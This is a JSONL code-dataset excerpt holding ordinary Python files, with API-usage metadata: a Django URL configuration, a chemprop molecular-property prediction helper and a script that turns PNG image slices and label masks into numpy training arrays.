"name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Boolean", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Float", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.ext.restful.fields", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Boolean", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.ext.restful.fields", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Raw", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.String", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.ext.restful.fields", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.ext.restful.fields.Raw", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.ext.restful.fields", "line_number": 41, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Blueprint.query.filter_by", "line_number": 46, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Blueprint", "line_number": 46, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.User.query.filter_by", "line_number": 50, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.User.query", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.User", "line_number": 50, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.restful.Resource", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.restful", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.ext.restful.reqparse.RequestParser", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.ext.restful.reqparse", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 75, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 77, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.state", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 81, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.STATE_DELETED", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.utils.memoize", "line_number": 88, "usage_type": "call"}, {"api_name": "pouta_blueprints.utils.memoize", "line_number": 89, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.ext.restful.marshal_with", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.g.user", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 113, "usage_type": "name"}, {"api_name": "pouta_blueprints.forms.InstanceForm", "line_number": 115, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 117, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query.filter_by", "line_number": 122, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Blueprint", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 124, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query.filter_by", "line_number": 135, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 135, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 135, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.state", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 138, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 144, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query.all", "line_number": 147, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 147, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.generate_name", "line_number": 150, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 150, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.app.dynamic_config.get", "line_number": 150, "usage_type": "call"}, {"api_name": "pouta_blueprints.server.app.dynamic_config", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.app", "line_number": 150, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.add", "line_number": 154, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 154, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 155, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 155, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 155, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.app.dynamic_config.get", "line_number": 157, "usage_type": "call"}, {"api_name": "pouta_blueprints.server.app.dynamic_config", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.app", "line_number": 157, "usage_type": "name"}, {"api_name": "pouta_blueprints.tasks.run_update.delay", "line_number": 158, "usage_type": "call"}, {"api_name": "pouta_blueprints.tasks.run_update", "line_number": 158, "usage_type": "name"}, {"api_name": "flask.ext.restful.marshal", "line_number": 160, "usage_type": "call"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 111, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.restful.Resource", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.restful", "line_number": 163, "usage_type": "name"}, {"api_name": "flask.ext.restful.reqparse.RequestParser", "line_number": 164, "usage_type": "call"}, {"api_name": "flask.ext.restful.reqparse", "line_number": 164, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 175, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 175, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.query.filter_by", "line_number": 176, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 176, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 181, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query.filter_by", "line_number": 183, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query", "line_number": 183, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Blueprint", "line_number": 183, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 194, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 194, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 172, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 172, "usage_type": "name"}, {"api_name": "flask.ext.restful.marshal_with", "line_number": 173, "usage_type": "call"}, {"api_name": "flask.g.user", "line_number": 203, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 203, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.query.filter_by", "line_number": 204, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 204, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 204, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 209, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.STATE_DELETING", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 211, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 212, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 212, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 213, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 213, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 213, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.app.dynamic_config.get", "line_number": 214, "usage_type": "call"}, {"api_name": "pouta_blueprints.server.app.dynamic_config", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.app", "line_number": 214, "usage_type": "name"}, {"api_name": "pouta_blueprints.tasks.run_update.delay", "line_number": 215, "usage_type": "call"}, {"api_name": "pouta_blueprints.tasks.run_update", "line_number": 215, "usage_type": "name"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 201, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 201, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 219, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 219, "usage_type": "name"}, {"api_name": "pouta_blueprints.forms.UserIPForm", "line_number": 220, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 222, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query.filter_by", "line_number": 225, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 225, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 225, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 227, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query.filter_by", "line_number": 229, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Blueprint.query", "line_number": 229, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Blueprint", "line_number": 229, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.app.dynamic_config.get", "line_number": 233, "usage_type": "call"}, {"api_name": "pouta_blueprints.server.app.dynamic_config", "line_number": 233, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.app", "line_number": 233, "usage_type": "name"}, {"api_name": "pouta_blueprints.tasks.update_user_connectivity.delay", "line_number": 234, "usage_type": "call"}, {"api_name": "pouta_blueprints.tasks.update_user_connectivity", "line_number": 234, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 235, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 235, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 235, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 238, "usage_type": "call"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 217, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 217, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.Instance.query.filter_by", "line_number": 244, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 244, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 246, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.STATE_RUNNING", "line_number": 250, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 250, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 252, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 252, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance.STATE_FAILED", "line_number": 253, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 253, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 256, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 256, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 256, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 260, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 260, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 260, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 264, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 264, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 264, "usage_type": "name"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 268, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 268, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 268, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 272, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 274, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session.commit", "line_number": 275, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.db.session", "line_number": 275, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.db", "line_number": 275, "usage_type": "name"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 240, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 240, "usage_type": "name"}, {"api_name": "pouta_blueprints.utils.requires_admin", "line_number": 241, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.restful.Resource", "line_number": 278, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.restful", "line_number": 278, "usage_type": "name"}, {"api_name": "flask.ext.restful.reqparse.RequestParser", "line_number": 279, "usage_type": "call"}, {"api_name": "flask.ext.restful.reqparse", "line_number": 279, "usage_type": "name"}, {"api_name": "pouta_blueprints.server.app.dynamic_config.get", "line_number": 287, "usage_type": "call"}, {"api_name": "pouta_blueprints.server.app.dynamic_config", "line_number": 287, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.server.app", "line_number": 287, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 291, "usage_type": "call"}, {"api_name": "os.path", "line_number": 291, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 292, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 296, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 300, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query.filter_by", "line_number": 320, "usage_type": "call"}, {"api_name": "pouta_blueprints.models.Instance.query", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.models.Instance", "line_number": 320, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 322, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 326, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 335, "usage_type": "call"}, {"api_name": "pouta_blueprints.views.commons.auth.login_required", "line_number": 316, "usage_type": "attribute"}, {"api_name": "pouta_blueprints.views.commons.auth", "line_number": 316, "usage_type": "name"}, {"api_name": "pouta_blueprints.utils.requires_admin", "line_number": 317, "usage_type": "name"}]} {"seq_id": "211298569", "text": "from django.conf.urls import patterns, include, url \n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^', include('buynsell.urls')),\n # Examples:\n # url(r'^$', 'txsq_v3.views.home', name='home'),\n # url(r'^txsq_v3/', include('txsq_v3.foo.urls')),\n\n)\n\nurlpatterns += patterns('',\n url(r'^items', include('commodities.urls')),\n # Examples:\n # url(r'^$', 'txsq_v3.views.home', name='home'),\n # url(r'^txsq_v3/', include('txsq_v3.foo.urls')),\n\n)\n\n\n", "sub_path": "urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 565, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.patterns", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 16, "usage_type": "call"}]} {"seq_id": "363083813", "text": "import csv\r\nfrom logging import Logger\r\nimport os\r\nimport sys\r\nfrom typing import List\r\nimport re\r\n\r\nimport numpy as np\r\nfrom tensorboardX import SummaryWriter\r\nimport torch\r\nfrom tqdm import trange\r\nimport pickle\r\nfrom torch.optim.lr_scheduler import ExponentialLR\r\n\r\nfrom .evaluate import evaluate, evaluate_predictions,judge\r\nfrom .predict import predict\r\nfrom .train import train\r\nfrom chemprop.args import TrainArgs\r\nfrom chemprop.data import StandardScaler, MoleculeDataLoader\r\nfrom chemprop.data.utils import get_class_sizes, get_data, get_task_names, split_data\r\nfrom chemprop.models import MoleculeModel\r\nfrom chemprop.nn_utils import param_count\r\nfrom chemprop.utils import build_optimizer, build_lr_scheduler, get_loss_func, get_metric_func, load_checkpoint,\\\r\n makedirs, save_checkpoint, save_smiles_splits\r\nimport matplotlib.pyplot as plt\r\nimport pylab as pl\r\n\r\ndef predict_feature(args,logger,model,external_test_path):\r\n if logger is not None:\r\n debug, info = logger.debug, logger.info\r\n else:\r\n debug = info = print\r\n\r\n # Print command line\r\n debug('Command line')\r\n debug(f'python {\" \".join(sys.argv)}')\r\n\r\n # Print args\r\n debug('Args')\r\n debug(args)\r\n\r\n # Save args\r\n args.save(os.path.join(args.save_dir, 'args.json'))\r\n\r\n # Set pytorch seed for random initial weights\r\n torch.manual_seed(args.pytorch_seed)\r\n\r\n # Get data\r\n debug('Loading data')\r\n args.task_names = args.target_columns or get_task_names(args.data_path)\r\n data = get_data(path=args.data_path, args=args, logger=logger)\r\n args.num_tasks = data.num_tasks()\r\n args.features_size = data.features_size()\r\n debug(f'Number of tasks = {args.num_tasks}')\r\n\r\n external_test_data = get_data(path=external_test_path, args=args, logger=logger)\r\n \r\n # Split data\r\n debug(f'Splitting data with seed {args.seed}')\r\n if args.separate_test_path:\r\n test_data = get_data(path=args.separate_test_path, args=args, features_path=args.separate_test_features_path,\r\n logger=logger)\r\n if args.separate_val_path:\r\n val_data = get_data(path=args.separate_val_path, args=args, features_path=args.separate_val_features_path,\r\n logger=logger)\r\n\r\n if args.separate_val_path and args.separate_test_path:\r\n train_data = data\r\n elif args.separate_val_path:\r\n train_data, _, test_data = split_data(data=data, split_type=args.split_type, sizes=(0.8, 0.0, 0.2),\r\n seed=args.seed, args=args, logger=logger)\r\n elif args.separate_test_path:\r\n train_data, val_data, _ = split_data(data=data, split_type=args.split_type, sizes=(0.8, 0.2, 0.0),\r\n seed=args.seed, args=args, logger=logger)\r\n else:\r\n train_data, val_data, test_data = split_data(data=data, split_type=args.split_type, sizes=args.split_sizes,\r\n seed=args.seed, args=args, logger=logger)\r\n\r\n if args.dataset_type == 'classification':\r\n class_sizes = get_class_sizes(data)\r\n debug('Class sizes')\r\n for i, task_class_sizes in enumerate(class_sizes):\r\n debug(f'{args.task_names[i]} '\r\n f'{\", \".join(f\"{cls}: {size * 100:.2f}%\" for cls, size in enumerate(task_class_sizes))}')\r\n\r\n if args.save_smiles_splits:\r\n save_smiles_splits(\r\n train_data=train_data,\r\n val_data=val_data,\r\n test_data=test_data,\r\n data_path=args.data_path,\r\n save_dir=args.save_dir\r\n )\r\n\r\n if args.features_scaling:\r\n features_scaler = train_data.normalize_features(replace_nan_token=0)\r\n external_test_data.normalize_features(features_scaler)\r\n else:\r\n features_scaler = None\r\n\r\n args.train_data_size = len(train_data)\r\n\r\n debug(f'Total size = {len(data):,} | '\r\n f'train size = {len(train_data):,} | val size = {len(val_data):,} | test size = {len(test_data):,}')\r\n\r\n # Initialize scaler and scale training targets by subtracting mean and dividing standard deviation (regression only)\r\n if args.dataset_type == 'regression':\r\n debug('Fitting scaler')\r\n train_smiles, train_targets = train_data.smiles(), train_data.targets()\r\n scaler = StandardScaler().fit(train_targets)\r\n scaled_targets = scaler.transform(train_targets).tolist()\r\n train_data.set_targets(scaled_targets)\r\n else:\r\n scaler = None\r\n\r\n # Automatically determine whether to cache\r\n if len(data) <= args.cache_cutoff:\r\n cache = True\r\n num_workers = 0\r\n else:\r\n cache = False\r\n num_workers = args.num_workers\r\n\r\n # Create data loaders\r\n train_data_loader = MoleculeDataLoader(\r\n dataset=train_data,\r\n batch_size=args.batch_size,\r\n num_workers=num_workers,\r\n cache=cache,\r\n class_balance=args.class_balance,\r\n shuffle=False,\r\n seed=args.seed\r\n )\r\n \r\n external_test_loader = MoleculeDataLoader(\r\n dataset=external_test_data,\r\n batch_size=args.batch_size,\r\n num_workers=num_workers,\r\n cache=cache,\r\n class_balance=args.class_balance,\r\n shuffle=False,\r\n seed=args.seed\r\n )\r\n external_test_preds, external_test_feature = predict(\r\n model=model,\r\n data_loader=external_test_loader,\r\n scaler=scaler\r\n )\r\n external_test_smiles, external_test_targets = external_test_data.smiles(), external_test_data.targets()\r\n return external_test_smiles,external_test_feature,external_test_preds,external_test_targets", "sub_path": "chemprop/train/run_predicting_ymj.py", "file_name": "run_predicting_ymj.py", "file_ext": "py", "file_size_in_byte": 5676, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.argv", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 46, "usage_type": "call"}, {"api_name": "chemprop.data.utils.get_task_names", "line_number": 50, "usage_type": "call"}, {"api_name": "chemprop.data.utils.get_data", "line_number": 51, "usage_type": "call"}, {"api_name": "chemprop.data.utils.get_data", "line_number": 56, "usage_type": "call"}, {"api_name": "chemprop.data.utils.get_data", "line_number": 61, "usage_type": "call"}, {"api_name": "chemprop.data.utils.get_data", "line_number": 64, "usage_type": "call"}, {"api_name": "chemprop.data.utils.split_data", "line_number": 70, "usage_type": "call"}, {"api_name": "chemprop.data.utils.split_data", "line_number": 73, "usage_type": "call"}, {"api_name": "chemprop.data.utils.split_data", "line_number": 76, "usage_type": "call"}, {"api_name": "chemprop.data.utils.get_class_sizes", "line_number": 80, "usage_type": "call"}, {"api_name": "chemprop.utils.save_smiles_splits", "line_number": 87, "usage_type": "call"}, {"api_name": "chemprop.data.StandardScaler", "line_number": 110, "usage_type": "call"}, {"api_name": "chemprop.data.MoleculeDataLoader", "line_number": 125, "usage_type": "call"}, {"api_name": "chemprop.data.MoleculeDataLoader", "line_number": 135, "usage_type": "call"}, {"api_name": "predict.predict", "line_number": 144, "usage_type": "call"}]} {"seq_id": "457242084", "text": "from __future__ import print_function\n\nimport os\nimport numpy as np\nfrom skimage.io import imread\n\nimage_rows = int(256)\nimage_cols = int(256)\nimage_depth = 16\n\n\ndef create_train_data(options, labels):\n train_data_path = options.outputdir+\"/train/\"\n mask_data_path = options.outputdir+'/masks/'\n dirs = os.listdir(train_data_path)\n total = int(len(dirs)*16*2)\n\n imgs = np.ndarray((total, image_depth, image_rows, image_cols), dtype=np.uint8)\n imgs_mask = np.ndarray((total, image_depth, image_rows, image_cols), dtype=np.uint8)\n\n imgs_temp = np.ndarray((total, image_depth//2, image_rows, image_cols), dtype=np.uint8)\n imgs_mask_temp = np.ndarray((total, image_depth//2, image_rows, image_cols), dtype=np.uint8)\n\n i = 0\n print('-'*30)\n print('Creating training images...')\n print('-'*30)\n for dirr in sorted(os.listdir(train_data_path)):\n j = 0\n dirr = train_data_path+\"/\"+dirr\n if not os.path.isdir(dirr):\n continue\n images = sorted(os.listdir(dirr))\n count = total\n for image_name in images:\n if not image_name.endswith('.png'):\n print('Ignored invalid file: ', image_name)\n continue\n img = imread(os.path.join(dirr, image_name), as_gray=True)\n img = img.astype(np.uint8)\n img = np.array([img])\n imgs_temp[i, j] = img\n j += 1\n if j % (image_depth/2) == 0:\n j = 0\n i += 1\n print('Done: {0}/{1} 3d images'.format(i, count), end='\\r')\n\n for x in range(0, imgs_temp.shape[0]-1):\n imgs[x] = np.append(imgs_temp[x], imgs_temp[x+1], axis=0)\n\n print('Loading of train data done.')\n imgs = preprocess(imgs)\n np.save(options.outputdir+'/imgs_train.npy', imgs)\n print('Training NPY saved at: ' + options.outputdir + '/imgs_train.npy')\n\n print('-' * 30)\n print('Creating labeled images...')\n print('-' * 30)\n\n for label in labels:\n create_mask_data(options, label)\n print('Loading all labels done.')\n\n # Convert the whole volume to .npy\n print('Processing the whole mask...')\n i = 0\n for dirr in sorted(os.listdir(train_data_path)):\n j = 0\n dirr = mask_data_path + dirr + '/whole'\n if not os.path.exists(dirr):\n return\n images = sorted(file for file in os.listdir(dirr) if file.endswith('.png'))\n count = total\n for mask_name in images:\n img_mask = imread(dirr + '/' + mask_name, as_gray=True)\n img_mask = img_mask.astype(np.uint16)\n img_mask = np.array([img_mask])\n imgs_mask_temp[i, j] = img_mask\n\n j += 1\n if j % (image_depth / 2) == 0:\n j = 0\n i += 1\n print('Done: {0}/{1} 3d images'.format(i, count), end='\\r')\n\n for x in range(0, imgs_mask_temp.shape[0] - 1):\n imgs_mask[x] = np.append(imgs_mask_temp[x], imgs_mask_temp[x + 1], axis=0)\n\n imgs_mask = preprocess(imgs_mask)\n np.save(options.outputdir + '/imgs_mask_train.npy', imgs_mask)\n print('Saving to .npy files: done.')\n\n\ndef create_mask_data(options, label):\n train_data_path = options.outputdir+\"/train/\"\n mask_data_path = options.outputdir+'/masks/'\n dirs = os.listdir(train_data_path)\n total = int(len(dirs)*16*2)\n\n imgs_mask = np.ndarray((total, image_depth, image_rows, image_cols), dtype=np.uint8)\n imgs_mask_temp = np.ndarray((total, image_depth//2, image_rows, image_cols), dtype=np.uint8)\n\n i = 0\n print('-' * 30)\n print('Processing label ' + str(label))\n for dirr in sorted(os.listdir(train_data_path)):\n if not os.path.isdir(train_data_path + dirr):\n continue\n j = 0\n dirr = mask_data_path + dirr + '/label-' + \"{:0>5}\".format(str(label))\n\n # Label did not exist\n if not os.path.exists(dirr):\n return\n images = sorted(file for file in os.listdir(dirr) if file.endswith('.png'))\n count = total\n for mask_name in images:\n img_mask = imread(dirr + '/' + mask_name, as_gray=True)\n img_mask = img_mask.astype(np.uint16)\n img_mask = np.array([img_mask])\n imgs_mask_temp[i, j] = img_mask\n\n j += 1\n if j % (image_depth / 2) == 0:\n j = 0\n i += 1\n print('Done: {0}/{1} 3d images'.format(i, count), end='\\r')\n\n for x in range(0, imgs_mask_temp.shape[0] - 1):\n imgs_mask[x] = np.append(imgs_mask_temp[x], imgs_mask_temp[x + 1], axis=0)\n\n imgs_mask = preprocess(imgs_mask)\n np.save(options.outputdir + '/label-' + \"{:0>5}\".format(str(label)) + '_mask_train.npy', imgs_mask)\n print('Size of .npy file: ' + str(imgs_mask.shape))\n print('NPY for label ' + \"{:0>5}\".format(str(label)) + ' saved.')\n\n\ndef preprocess(imgs):\n imgs = np.expand_dims(imgs, axis=4)\n return imgs\n\n\ndef preprocess_squeeze(imgs):\n imgs = np.squeeze(imgs, axis=4)\n return imgs\n\n\nif __name__ == '__main__':\n create_train_data()\n", "sub_path": "pl-mgz2labels/mgz2labels/data3D.py", "file_name": "data3D.py", "file_ext": "py", "file_size_in_byte": 5084, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.listdir", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 33, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 39, 